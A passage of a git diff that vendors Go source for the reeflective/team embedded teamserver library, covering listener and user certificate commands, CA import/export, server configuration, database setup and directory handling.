:= serv.Listeners() + cfg := serv.GetConfig() + + for _, arg := range args { + if arg == "" { + continue + } + + for _, ln := range listeners { + if strings.HasPrefix(ln.ID, arg) { + err := serv.ListenerClose(arg) + if err != nil { + fmt.Fprintln(cmd.ErrOrStderr(), command.Warn, err) + } else { + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Closed %s listener (%s) [%s]\n", ln.Name, formatSmallID(ln.ID), ln.Description) + } + } + } + } + + for _, arg := range args { + if arg == "" { + continue + } + + for _, saved := range cfg.Listeners { + if strings.HasPrefix(saved.ID, arg) { + serv.ListenerRemove(saved.ID) + id := formatSmallID(saved.ID) + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Deleted %s listener (%s) from saved jobs\n", saved.Name, id) + + continue + } + } + } + } +} + +func systemdConfigCmd(serv *server.Server) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, _ []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + config := systemd.NewDefaultConfig() + + userf, _ := cmd.Flags().GetString("user") + if userf != "" { + config.User = userf + } + + binPath, _ := cmd.Flags().GetString("binpath") + if binPath != "" { + config.Binpath = binPath + } + + host, hErr := cmd.Flags().GetString("host") + if hErr != nil { + return hErr + } + + port, pErr := cmd.Flags().GetUint16("port") + if pErr != nil { + return pErr + } + + // The last argument is the systemd command: + // its parent is the teamserver one, to which + // should be attached the daemon command. + daemonCmd, _, err := cmd.Parent().Find([]string{"daemon"}) + if err != nil { + return fmt.Errorf("Failed to find teamserver daemon command in tree: %w", err) + } + + config.Args = append(callerArgs(cmd.Parent()), daemonCmd.Name()) + if len(config.Args) > 0 && binPath != "" { + config.Args[0] = binPath + } + + if host != "" { + config.Args = append(config.Args, strings.Join([]string{"--host", host}, " ")) + } + + if port != 0 { + config.Args = append(config.Args, strings.Join([]string{"--port", strconv.Itoa(int(port))}, " ")) + } + + systemdConfig := systemd.NewFrom(serv.Name(), config) + fmt.Fprint(cmd.OutOrStdout(), systemdConfig) + + return nil + } +} + +func statusCmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, _ []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + cfg := serv.GetConfig() + + dbCfg := serv.DatabaseConfig() + database := fmt.Sprintf("%s - %s [%s:%d] ", dbCfg.Dialect, dbCfg.Database, dbCfg.Host, dbCfg.Port) + + // General options, in-memory, default port, config path, database, etc + fmt.Fprintln(cmd.OutOrStdout(), formatSection("General")) + fmt.Fprint(cmd.OutOrStdout(), displayGroup([]string{ + "Home", serv.HomeDir(), + "Port", strconv.Itoa(cfg.DaemonMode.Port), + "Database", database, + "Config", serv.ConfigPath(), + })) + + // Logging files/level/status + fakeLog := serv.NamedLogger("", "") + + fmt.Fprintln(cmd.OutOrStdout(), formatSection("Logging")) + fmt.Fprint(cmd.OutOrStdout(), displayGroup([]string{ + "Level", fakeLog.Level.String(), + "Root", log.FileName(filepath.Join(serv.LogsDir(), serv.Name()), true), + "Audit", filepath.Join(serv.LogsDir(), "audit.json"), + })) + + // Certificate files. + certsPath := serv.CertificatesDir() + if dir, err := os.Stat(certsPath); err == nil && dir.IsDir() { + files, err := fs.ReadDir(os.DirFS(certsPath), ".") + if err == nil || len(files) > 0 { + fmt.Fprintln(cmd.OutOrStdout(), formatSection("Certificate files")) + + for _, file := range files { + fmt.Fprintln(cmd.OutOrStdout(), filepath.Join(certsPath, file.Name())) + } + } + } + + // Listeners + listenersTable := listenersTable(serv, cfg) + + if listenersTable != "" { + fmt.Fprintln(cmd.OutOrStdout(), formatSection("Listeners")) + fmt.Fprintln(cmd.OutOrStdout(), listenersTable) + } + } +} + +func listenersTable(serv *server.Server, cfg *server.Config) string { + listeners := serv.Listeners() + + tbl := &table.Table{} + tbl.SetStyle(command.TableStyle) + + tbl.AppendHeader(table.Row{ + "ID", + "Name", + "Description", + "State", + "Persistent", + }) + + for _, listener := range listeners { + persist := false + + for _, saved := range cfg.Listeners { + if saved.ID == listener.ID { + persist = true + } + } + + tbl.AppendRow(table.Row{ + formatSmallID(listener.ID), + listener.Name, + listener.Description, + command.Green + command.Bold + "Up" + command.Normal, + persist, + }) + } + +next: + for _, saved := range cfg.Listeners { + + for _, ln := range listeners { + if saved.ID == ln.ID { + continue next + } + } + + tbl.AppendRow(table.Row{ + formatSmallID(saved.ID), + saved.Name, + fmt.Sprintf("%s:%d", saved.Host, saved.Port), + command.Red + command.Bold + "Down" + command.Normal, + true, + }) + } + + if len(listeners) > 0 { + return tbl.Render() + } + + return "" +} + +func fieldName(name string) string { + return command.Blue + command.Bold + name + command.Normal +} + +func callerArgs(cmd *cobra.Command) []string { + var args []string + + if cmd.HasParent() { + args = callerArgs(cmd.Parent()) + } + + args = append(args, cmd.Name()) + + return args +} + +func formatSection(msg string, args ...any) string { + return "\n" + command.Bold + command.Orange + fmt.Sprintf(msg, args...) + command.Normal +} + +// formatSmallID returns a smallened ID for table/completion display. +func formatSmallID(id string) string { + if len(id) <= 8 { + return id + } + + return id[:8] +} + +func displayGroup(values []string) string { + var maxLength int + var group string + + // Get the padding for headers + for i, head := range values { + if i%2 != 0 { + continue + } + + if len(head) > maxLength { + maxLength = len(head) + } + } + + for i := 0; i < len(values)-1; i += 2 { + field := values[i] + value := values[i+1] + + headName := fmt.Sprintf("%*s", maxLength, field) + fieldName := command.Blue + command.Bold + headName + command.Normal + " " + group += fmt.Sprintf("%s: %s\n", fieldName, value) + } + + return group +} diff --git a/vendor/github.com/reeflective/team/server/commands/user.go b/vendor/github.com/reeflective/team/server/commands/user.go new file mode 100644 index 0000000000..07eae7200f --- /dev/null +++ b/vendor/github.com/reeflective/team/server/commands/user.go @@ -0,0 +1,216 @@ +package commands + +import ( + "encoding/json" + "fmt" + "io/ioutil" + "os" + "os/user" + "path/filepath" + "strings" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/internal/log" + "github.com/reeflective/team/server" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" +) + +func createUserCmd(serv *server.Server, cli *client.Client) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, _ []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + name, _ := cmd.Flags().GetString("name") + lhost, _ := cmd.Flags().GetString("host") + lport, _ := cmd.Flags().GetUint16("port") + save, _ := cmd.Flags().GetString("save") + system, _ := cmd.Flags().GetBool("system") + + if save == "" { + save, _ = os.Getwd() + } + + var filename string + var saveTo string + + if system { + user, err := user.Current() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to get current OS user: %s\n", err) + return + } + + name = user.Username + filename = fmt.Sprintf("%s_%s_default", serv.Name(), user.Username) + saveTo = cli.ConfigsDir() + + err = os.MkdirAll(saveTo, log.DirPerm) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"cannot write to %s root dir: %s\n", saveTo, err) + return + } + } else { + saveTo, _ = filepath.Abs(save) + userFile, err := os.Stat(saveTo) + if !os.IsNotExist(err) && !userFile.IsDir() { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"File already exists %s\n", err) + return + } + + if !os.IsNotExist(err) && userFile.IsDir() { + filename = fmt.Sprintf("%s_%s", filepath.Base(name), filepath.Base(lhost)) + } + } + + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Generating new client certificate, please wait ... \n") + + config, err := serv.UserCreate(name, lhost, lport) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", err) + return + } + + configJSON, err := json.Marshal(config) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"JSON marshaling error: %s\n", err) + return + } + + saveTo = filepath.Join(saveTo, filename+".teamclient.cfg") + + err = ioutil.WriteFile(saveTo, configJSON, log.FileReadPerm) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to write config to %s: %s\n", saveTo, err) + return + } + + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Saved new client config to: %s\n", saveTo) + } +} + +func rmUserCmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + user := args[0] + + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Removing client certificate(s)/token(s) for %s, please wait ... \n", user) + + err := serv.UserDelete(user) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to remove the user certificate: %v\n", err) + return + } + + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"User %s has been deleted from the teamserver, and kicked out.\n", user) + } +} + +func importCACmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + load := args[0] + + fi, err := os.Stat(load) + if os.IsNotExist(err) || fi.IsDir() { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Cannot load file %s\n", load) + } + + data, err := os.ReadFile(load) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Cannot read file: %v\n", err) + } + + // CA - Exported CA format + type CA struct { + Certificate string `json:"certificate"` + PrivateKey string `json:"private_key"` + } + + importCA := &CA{} + err = json.Unmarshal(data, importCA) + + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to parse file: %s\n", err) + } + + cert := []byte(importCA.Certificate) + key := []byte(importCA.PrivateKey) + serv.UsersSaveCA(cert, key) + } +} + +func exportCACmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + var save string + if len(args) == 1 { + save = args[0] + } + + if strings.TrimSpace(save) == "" { + save, _ = os.Getwd() + } + + certificateData, privateKeyData, err := serv.UsersGetCA() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Error reading CA %s\n", err) + return + } + + // CA - Exported CA format + type CA struct { + Certificate string `json:"certificate"` + PrivateKey string `json:"private_key"` + } + + exportedCA := &CA{ + Certificate: string(certificateData), + PrivateKey: string(privateKeyData), + } + + saveTo, _ := filepath.Abs(save) + + caFile, err := os.Stat(saveTo) + if !os.IsNotExist(err) && !caFile.IsDir() { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"File already exists: %s\n", err) + return + } + + if !os.IsNotExist(err) && caFile.IsDir() { + filename := fmt.Sprintf("%s-%s.teamserver.ca", serv.Name(), "users") + saveTo = filepath.Join(saveTo, filename) + } + + data, _ := json.Marshal(exportedCA) + + err = os.WriteFile(saveTo, data, log.FileWritePerm) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Write failed: %s (%s)\n", saveTo, err) + return + } + } +} diff --git a/vendor/github.com/reeflective/team/server/config.go b/vendor/github.com/reeflective/team/server/config.go new file mode 100644 index 0000000000..a1553844ca --- /dev/null +++ b/vendor/github.com/reeflective/team/server/config.go @@ -0,0 +1,205 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/hex" + "encoding/json" + "fmt" + insecureRand "math/rand" + "os" + "path/filepath" + "time" + + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/internal/log" + "github.com/sirupsen/logrus" +) + +const ( + blankHost = "-" + blankPort = uint16(0) + tokenLength = 32 + defaultPort = 31416 // Should be 31415, but... go to hell with limits. +) + +// Config represents the configuration of a given application teamserver. +// It contains anonymous embedded structs as subsections, for logging, +// daemon mode bind addresses, and persistent teamserver listeners +// +// Its default path is ~/.app/teamserver/configs/app.teamserver.cfg. +// It uses the following default values: +// - Daemon host: "" +// - Daemon port: 31416 +// - logging file level: Info. +type Config struct { + // When the teamserver command `app teamserver daemon` is executed + // without --host/--port flags, the teamserver will use the config. + DaemonMode struct { + Host string `json:"host"` + Port int `json:"port"` + } `json:"daemon_mode"` + + // Logging controls the file-based logging level, whether or not + // to log TLS keys to file, and whether to log specific gRPC payloads. + Log struct { + Level int `json:"level"` + GRPCUnaryPayloads bool `json:"grpc_unary_payloads"` + GRPCStreamPayloads bool `json:"grpc_stream_payloads"` + TLSKeyLogger bool `json:"tls_key_logger"` + } `json:"log"` + + // Listeners is a list of persistent teamserver listeners. + // They are started when the teamserver daemon command/mode is. + Listeners []struct { + Name string `json:"name"` + Host string `json:"host"` + Port uint16 `json:"port"` + ID string `json:"id"` + } `json:"listeners"` +} + +// ConfigPath returns the path to the server config.json file, on disk or in-memory. +func (ts *Server) ConfigPath() string { + appDir := ts.TeamDir() + configDir := filepath.Join(appDir, "configs") + + err := ts.fs.MkdirAll(configDir, log.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s config dir: %s", configDir, err) + } + + serverConfigPath := filepath.Join(configDir, fmt.Sprintf("%s.%s", ts.Name(), command.ServerConfigExt)) + + return serverConfigPath +} + +// GetConfig returns the team server configuration as a struct. +// If no server configuration file is found on disk, the default one is used. +func (ts *Server) GetConfig() *Config { + cfgLog := ts.NamedLogger("config", "server") + + if ts.opts.inMemory { + return ts.opts.config + } + + configPath := ts.ConfigPath() + if _, err := os.Stat(configPath); !os.IsNotExist(err) { + cfgLog.Debugf("Loading config from %s", configPath) + + data, err := os.ReadFile(configPath) + if err != nil { + cfgLog.Errorf("Failed to read config file %s", err) + return ts.opts.config + } + + err = json.Unmarshal(data, ts.opts.config) + if err != nil { + cfgLog.Errorf("Failed to parse config file %s", err) + return ts.opts.config + } + } else { + cfgLog.Warnf("Teamserver: no config file found, using and saving defaults") + } + + if ts.opts.config.Log.Level < 0 { + ts.opts.config.Log.Level = 0 + } + + if int(logrus.TraceLevel) < ts.opts.config.Log.Level { + ts.opts.config.Log.Level = int(logrus.TraceLevel) + } + + // This updates the config with any missing fields + err := ts.SaveConfig(ts.opts.config) + if err != nil { + cfgLog.Errorf("Failed to save default config %s", err) + } + + return ts.opts.config +} + +// Save saves config file to disk. +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (ts *Server) SaveConfig(cfg *Config) error { + cfgLog := ts.NamedLogger("config", "server") + + if ts.opts.inMemory { + return nil + } + + configPath := ts.ConfigPath() + configDir := filepath.Dir(configPath) + + if _, err := os.Stat(configDir); os.IsNotExist(err) { + cfgLog.Debugf("Creating config dir %s", configDir) + + err := os.MkdirAll(configDir, log.DirPerm) + if err != nil { + return ts.errorf("%w: %w", ErrConfig, err) + } + } + + data, err := json.MarshalIndent(cfg, "", " ") + if err != nil { + return err + } + + cfgLog.Debugf("Saving config to %s", configPath) + + err = os.WriteFile(configPath, data, log.FileReadPerm) + if err != nil { + return ts.errorf("%w: failed to write config: %s", ErrConfig, err) + } + + return nil +} + +func getDefaultServerConfig() *Config { + return &Config{ + DaemonMode: struct { + Host string `json:"host"` + Port int `json:"port"` + }{ + Port: defaultPort, // 31416 + }, + Log: struct { + Level int `json:"level"` + GRPCUnaryPayloads bool `json:"grpc_unary_payloads"` + GRPCStreamPayloads bool `json:"grpc_stream_payloads"` + TLSKeyLogger bool `json:"tls_key_logger"` + }{ + Level: int(logrus.InfoLevel), + }, + Listeners: []struct { + Name string `json:"name"` + Host string `json:"host"` + Port uint16 `json:"port"` + ID string `json:"id"` + }{}, + } +} + +func getRandomID() string { + seededRand := insecureRand.New(insecureRand.NewSource(time.Now().UnixNano())) + buf := make([]byte, tokenLength) + seededRand.Read(buf) + + return hex.EncodeToString(buf) +} diff --git a/vendor/github.com/reeflective/team/server/core.go b/vendor/github.com/reeflective/team/server/core.go new file mode 100644 index 0000000000..7c5e9390e3 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/core.go @@ -0,0 +1,240 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os/user" + "path/filepath" + "runtime" + "strings" + "sync" + + "github.com/reeflective/team" + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/certs" + "github.com/reeflective/team/internal/db" + "github.com/reeflective/team/internal/version" + "github.com/sirupsen/logrus" + "gorm.io/gorm" +) + +// Server is the core driver of an application teamserver. +// It is the counterpart to and plays a similar role than that +// of the team/client.Client type, ie. that it provides tools +// to any application/program to become a teamserver of itself. +// +// The server object can run on its own, without any teamclient attached +// or connected: it fulfills the reeflective/team.Client interface, and +// any teamserver can also be a client of itself, without configuration. +// +// The core job of the Server is to, non-exhaustively: +// - Store and manage a list of users with a zero-trust identity system +// (ie. public-key based), with ways to import/export these lists. +// - Register, start and control teamserver listener/server stacks, for +// many application clients to connect and consume the teamserver app. +// - Offer version and user information to all teamclients. +// +// Additionally and similarly to the team/client.Client, it gives: +// - Pre-configured loggers that listener stacks and server consumers +// can use at any step of their application. +// - Various options to configure its backends and behaviors. +// - A builtin, app-specific abstracted filesystem (in-memory or on-disk). +// - Additionally, an API to further register and control listeners. +// +// Various combinations of teamclient/teamserver usage are possible. +// Please see the Go module example/ directory for a list of them. +type Server struct { + // Core + name string // Name of the application using the teamserver. + homeDir string // APP_ROOT_DIR var, evaluated once when creating the server. + opts *opts // Server options + fs *assets.FS // Server filesystem, on-disk or embedded + initOpts sync.Once // Some options can only be set once when creating the server. + + // Logging + fileLog *logrus.Logger // Can be in-memory if the teamserver is configured. + stdioLog *logrus.Logger // Logging level independent from the file logger. + + // Users + userTokens *sync.Map // Refreshed entirely when a user is kicked. + certs *certs.Manager // Manages all the certificate infrastructure. + db *gorm.DB // Stores certificates and users data. + dbInit sync.Once // A single database can be used in a teamserver lifetime. + + // Listeners and job control + initServe sync.Once // Some options can only have an effect at first start. + self Listener // The default listener stack used by the teamserver. + handlers map[string]Listener // Other listeners available by name. + jobs *jobs // Listeners job control +} + +// New creates a new teamserver for the provided application name. +// Only one such teamserver should be created an application of any given name. +// Since by default, any teamserver can have any number of runtime clients, you +// are not required to provide any specific server.Listener type to serve clients. +// +// This call to create the server only creates the application default directory. +// No files, logs, connections or any interaction with the os/filesystem are made. +// +// Errors: +// - All errors returned from this call are critical, in that the server could not +// run properly in its most basic state, which may happen if the teamclient cannot +// use and write to its on-disk directories/backends and log files. +// No server is returned if the error is not nil. +// - All methods of the teamserver core which return an error will always log this +// error to the various teamserver log files/output streams, so that all actions +// of teamserver can be recorded and watched out in various places. +func New(application string, options ...Options) (*Server, error) { + server := &Server{ + name: application, + opts: newDefaultOpts(), + userTokens: &sync.Map{}, + jobs: newJobs(), + handlers: make(map[string]Listener), + } + + server.apply(options...) + + // Filesystem + user, _ := user.Current() + root := filepath.Join(user.HomeDir, "."+server.name) + server.fs = assets.NewFileSystem(root, server.opts.inMemory) + + // Logging (if allowed) + if err := server.initLogging(); err != nil { + return nil, err + } + + // Ensure we have a working database configuration, + // and at least an in-memory sqlite database. + if server.opts.dbConfig == nil { + server.opts.dbConfig = server.getDefaultDatabaseConfig() + } + + if server.opts.dbConfig.Database == db.SQLiteInMemoryHost && server.db == nil { + if err := server.initDatabase(); err != nil { + return nil, server.errorf("%w: %w", ErrDatabase, err) + } + } + + return server, nil +} + +// Name returns the name of the application handled by the teamserver. +// Since you can embed multiple teamservers (one for each application) +// into a single binary, this is different from the program binary name +// running this teamserver. +func (ts *Server) Name() string { + return ts.name +} + +// Self returns a new application team/client.Client (with the same app name), +// using any provided options for client behavior. +// +// This teamclient implements by default the root team/Teamclient interface +// (directly through the server), but passing user-specific dialer stack options +// to this function and by providing the corresponding server options for your +// pair, you can use in-memory clients which will use the complete RPC stack +// of the application using this teamserver. +// See the server.Listener and client.Dialer types documentation for more. +func (ts *Server) Self(opts ...client.Options) *client.Client { + opts = append(opts, client.WithLocalDialer()) + + teamclient, _ := client.New(ts.Name(), ts, opts...) + + return teamclient +} + +// Version returns the teamserver binary version information. +func (ts *Server) Version() (team.Version, error) { + dirty := version.GitDirty != "" + semVer := version.Semantic() + compiled, _ := version.Compiled() + + var major, minor, patch int32 + + if len(semVer) == 3 { + major = int32(semVer[0]) + minor = int32(semVer[1]) + patch = int32(semVer[2]) + } + + return team.Version{ + Major: major, + Minor: minor, + Patch: patch, + Commit: strings.TrimSuffix(version.GitCommit, "\n"), + Dirty: dirty, + CompiledAt: compiled.Unix(), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + }, nil +} + +// Users returns the list of users in the teamserver database, and their information. +// Any error raised during querying the database is returned, along with all users. +func (ts *Server) Users() ([]team.User, error) { + if err := ts.initDatabase(); err != nil { + return nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + usersDB := []*db.User{} + err := ts.dbSession().Find(&usersDB).Error + + users := make([]team.User, len(usersDB)) + + if err != nil && len(usersDB) == 0 { + return users, ts.errorf("%w: %w", ErrDatabase, err) + } + + for i, user := range usersDB { + users[i] = team.User{ + Name: user.Name, + LastSeen: user.LastSeen, + } + + if _, ok := ts.userTokens.Load(user.Token); ok { + users[i].Online = true + } + } + + return users, nil +} + +// Filesystem returns an abstract filesystem used by the teamserver. +// This filesystem can be either of two things: +// - By default, the on-disk filesystem, without any specific bounds. +// - If the teamserver was created with the InMemory() option, a full +// in-memory filesystem (with root `.app/`). +// +// Use cases for this filesystem might include: +// - The wish to have a fully abstracted filesystem to work for testing +// - Ensuring that the filesystem code in your application remains the +// same regardless of the underlying, actual filesystem. +// +// The type returned is currently an internal type because it wraps some +// os.Filesystem methods for working more transparently: this may change +// in the future if the Go stdlib offers write support to its new io/fs.FS. +// +// SERVER note: Runtime clients can run with the client.InMemory() option, +// without any impact on the teamserver filesystem and its behavior. +func (ts *Server) Filesystem() *assets.FS { + return ts.fs +} diff --git a/vendor/github.com/reeflective/team/server/db.go b/vendor/github.com/reeflective/team/server/db.go new file mode 100644 index 0000000000..b8bb61a0ff --- /dev/null +++ b/vendor/github.com/reeflective/team/server/db.go @@ -0,0 +1,193 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/json" + "fmt" + "os" + "path" + "path/filepath" + + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/internal/db" + "github.com/reeflective/team/internal/log" + "gorm.io/gorm" +) + +const ( + maxIdleConns = 10 + maxOpenConns = 100 +) + +// Database returns a new teamserver database session, which may not be nil: +// at worst, this database will be an in-memory one. The default is a file- +// based Sqlite database in the teamserver directory, but it might be a +// specific database passed through options. +func (ts *Server) Database() *gorm.DB { + return ts.db.Session(&gorm.Session{ + FullSaveAssociations: true, + }) +} + +// DatabaseConfig returns the server database backend configuration struct. +// If configuration could be found on disk, the default Sqlite file-based +// database is returned, with app-corresponding file paths. +func (ts *Server) DatabaseConfig() *db.Config { + cfg, err := ts.getDatabaseConfig() + if err != nil { + return cfg + } + + return cfg +} + +// GetDatabaseConfigPath - File path to config.json. +func (ts *Server) dbConfigPath() string { + appDir := ts.TeamDir() + log := ts.NamedLogger("config", "database") + databaseConfigPath := filepath.Join(appDir, "configs", fmt.Sprintf("%s.%s", ts.Name()+"_database", command.ServerConfigExt)) + log.Debugf("Loading config from %s", databaseConfigPath) + + return databaseConfigPath +} + +// Save - Save config file to disk. If the server is configured +// to run in-memory only, the config is not saved. +func (ts *Server) saveDatabaseConfig(cfg *db.Config) error { + if ts.opts.inMemory { + return nil + } + + dblog := ts.NamedLogger("config", "database") + + configPath := ts.dbConfigPath() + configDir := path.Dir(configPath) + + if _, err := os.Stat(configDir); os.IsNotExist(err) { + dblog.Debugf("Creating config dir %s", configDir) + + err := os.MkdirAll(configDir, log.DirPerm) + if err != nil { + return err + } + } + + data, err := json.MarshalIndent(cfg, "", " ") + if err != nil { + return err + } + + dblog.Debugf("Saving config to %s", configPath) + + return os.WriteFile(configPath, data, log.FileReadPerm) +} + +// getDatabaseConfig returns a working database configuration, +// either fetched from the file system, adjusted with in-code +// options, or a default one. +// If an error happens, it is returned with a nil configuration. +func (ts *Server) getDatabaseConfig() (*db.Config, error) { + log := ts.NamedLogger("config", "database") + + // Don't fetch anything if running in-memory only. + config := ts.opts.dbConfig + if config.Database == db.SQLiteInMemoryHost { + return config, nil + } + + configPath := ts.dbConfigPath() + if _, err := os.Stat(configPath); !os.IsNotExist(err) { + data, err := os.ReadFile(configPath) + if err != nil { + return nil, fmt.Errorf("Failed to read config file %w", err) + } + + err = json.Unmarshal(data, config) + if err != nil { + return nil, fmt.Errorf("Failed to parse config file %w", err) + } + } else { + log.Warnf("Database: no config file found, using and saving defaults") + } + + if config.MaxIdleConns < 1 { + config.MaxIdleConns = 1 + } + + if config.MaxOpenConns < 1 { + config.MaxOpenConns = 1 + } + + // This updates the config with any missing fields, + // failing to save is not critical for operation. + err := ts.saveDatabaseConfig(config) + if err != nil { + log.Errorf("Failed to save default config %s", err) + } + + return config, nil +} + +func (ts *Server) getDefaultDatabaseConfig() *db.Config { + cfg := &db.Config{ + Dialect: db.Sqlite, + MaxIdleConns: maxIdleConns, + MaxOpenConns: maxOpenConns, + + LogLevel: "warn", + } + + if ts.opts.inMemory { + cfg.Database = db.SQLiteInMemoryHost + } else { + cfg.Database = filepath.Join(ts.TeamDir(), fmt.Sprintf("%s.teamserver.db", ts.name)) + } + + return cfg +} + +// initDatabase should be called once when a teamserver is created. +func (ts *Server) initDatabase() (err error) { + ts.dbInit.Do(func() { + dbLogger := ts.NamedLogger("database", "database") + + if ts.db != nil { + return + } + + ts.opts.dbConfig, err = ts.getDatabaseConfig() + if err != nil { + return + } + + ts.db, err = db.NewClient(ts.opts.dbConfig, dbLogger) + if err != nil { + return + } + }) + + return nil +} + +func (ts *Server) dbSession() *gorm.DB { + return ts.db.Session(&gorm.Session{ + FullSaveAssociations: true, + }) +} diff --git a/vendor/github.com/reeflective/team/server/directories.go b/vendor/github.com/reeflective/team/server/directories.go new file mode 100644 index 0000000000..fb04e064f9 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/directories.go @@ -0,0 +1,124 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "os" + "os/user" + "path" + "path/filepath" + + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/log" +) + +// HomeDir returns the root application directory (~/.app/ by default). +// This directory can be set with the environment variable _ROOT_DIR. +// This directory is not to be confused with the ~/.app/teamserver directory +// returned by the server.TeamDir(), which is specific to the app teamserver. +func (ts *Server) HomeDir() string { + var dir string + + // Note: very important not to combine the nested if here. + if !ts.opts.inMemory { + if ts.homeDir == "" { + user, _ := user.Current() + dir = filepath.Join(user.HomeDir, "."+ts.name) + } + } else { + dir = "." + ts.name + } + + err := ts.fs.MkdirAll(dir, log.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", dir, err) + } + + return dir +} + +// TeamDir returns the teamserver directory of the app (named ~/./teamserver/), +// creating the directory if needed, or logging an error event if failing to create it. +// This directory is used to store teamserver certificates, database, logs, and configs. +func (ts *Server) TeamDir() string { + dir := path.Join(ts.HomeDir(), assets.DirServer) + + err := ts.fs.MkdirAll(dir, log.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", dir, err) + } + + return dir +} + +// LogsDir returns the directory of the client (~/.app-server/logs), creating +// the directory if needed, or logging a fatal event if failing to create it. +func (ts *Server) LogsDir() string { + logDir := path.Join(ts.TeamDir(), assets.DirLogs) + + err := ts.fs.MkdirAll(logDir, log.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", logDir, err) + } + + return logDir +} + +// CertificatesDir returns the directory 